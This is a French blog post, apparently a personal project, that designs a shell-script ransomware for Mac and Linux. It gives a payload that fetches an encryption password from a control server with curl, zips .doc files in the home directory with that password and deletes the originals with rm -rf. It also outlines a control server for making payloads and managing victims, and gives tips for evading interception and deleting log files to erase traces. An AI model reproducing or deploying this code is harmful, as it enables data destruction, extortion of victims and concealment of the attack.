Shell Ransomware

Je suis un peu en retard sur la tendance mais ce soir j’ai eu l’envie de travailler sur un petit projet perso de Ransomware. L’executable sera un simple script écrit en shell avec des commande basiques du système Unix pour garder une compatibilité sur le plus de machine possible. Le script communiquera avec le Serveur de Contrôle qui permet la création aléatoire des passwords.

Qu’est qu’un Ransomware ?

Un ransomware, ou rançongiciel en français, est un logiciel informatique malveillant, prenant en otage les données. Le ransomware chiffre et bloque les fichiers contenus sur votre ordinateur et demande une rançon en échange d’une clé permettant de les déchiffrer. Apparus dans un premier temps en Russie, les ransomwares se sont répandus dans le monde entier, et principalement aux Etats-Unis, en Australie ou en Allemagne. Bien souvent, le ransomware s’infiltre sous la forme d’un ver informatique, à travers un fichier téléchargé ou reçu par email et chiffre les données et fichiers de la victime. La finalité est d‘extorquer une somme d’argent à payer le plus souvent par monnaie virtuelle pour éviter toute trace.

Shell Commands (Payload)

Le Payload est le code qui est exécuté sur la bécane ciblé. Dans le cas d’un Ransomware, le payload ce charge du chiffrement des données du disque dur.
La création du payload ce fera via une interface web, une fois celui-ci télécharger vous devrez trouver un moyen de l’exécuter sur la machine Unix (Mac/Linux) de votre victime. Une fois celui-ci lancer, le Ransomware va envoyer une première requête au Serveur de Contrôle afin de générer un password aléatoire qui servira au chiffrement des données.

Exemple d’un Payload configuré pour une attaque sur les fichiers .doc.

1
2
3
4
5
# payload.sh
# Get Password
passWord=$(curl -L exemple.com/newVictim)
# Search & Encrypt & Delete Target (="{}")
find ~ -name "*.doc" -exec zip -P "$passWord" -r encrypted.zip "{}" && rm -rf "{}" \;

Les commandes utilisés:

  • zip: Compression avec password.
  • rm: Suppression des dossiers/fichiers.
  • find: Recherche des dossiers/fichiers cibles.
    • -exec: Exécution de commande(s) pour chaque résultat.
  • curl: Permet la communication avec le Controller (pour la récupération du password).

Afin de déchiffrer ses données, la victime devra se rendre sur une url spécifique qui lui retournera le password du fichier .zip.

Web Server Controller

Le Serveur de Contrôle aura un rôle principal dans le déroulement d’une attaque.

  • Tout d’abord la configuration et création du payload via une interface simple et intuitive.
  • La production et gestion des passwords chiffrés.
  • Le téléchargement des dossiers des victimes.
  • Récupération du password pour le déchiffrement.

Je ne prévois pas pour l’instant l’ajout de la fonction de rançon.


Patchs

Je ne suis pas professionnel en Administration Système mais il est possible d’intercepter le password d’encryptage lors de l’execution des requêtes du payload.

  • Une première solution est de passer les requêtes en https ce qui permettra déjà l’impossibilité de lire les requêtes en clair sur le réseau.
  • Il reste encore une trace du password dans les logs de la machine, il suffira de chercher et supprimer tous les fichiers .log avec la commande find.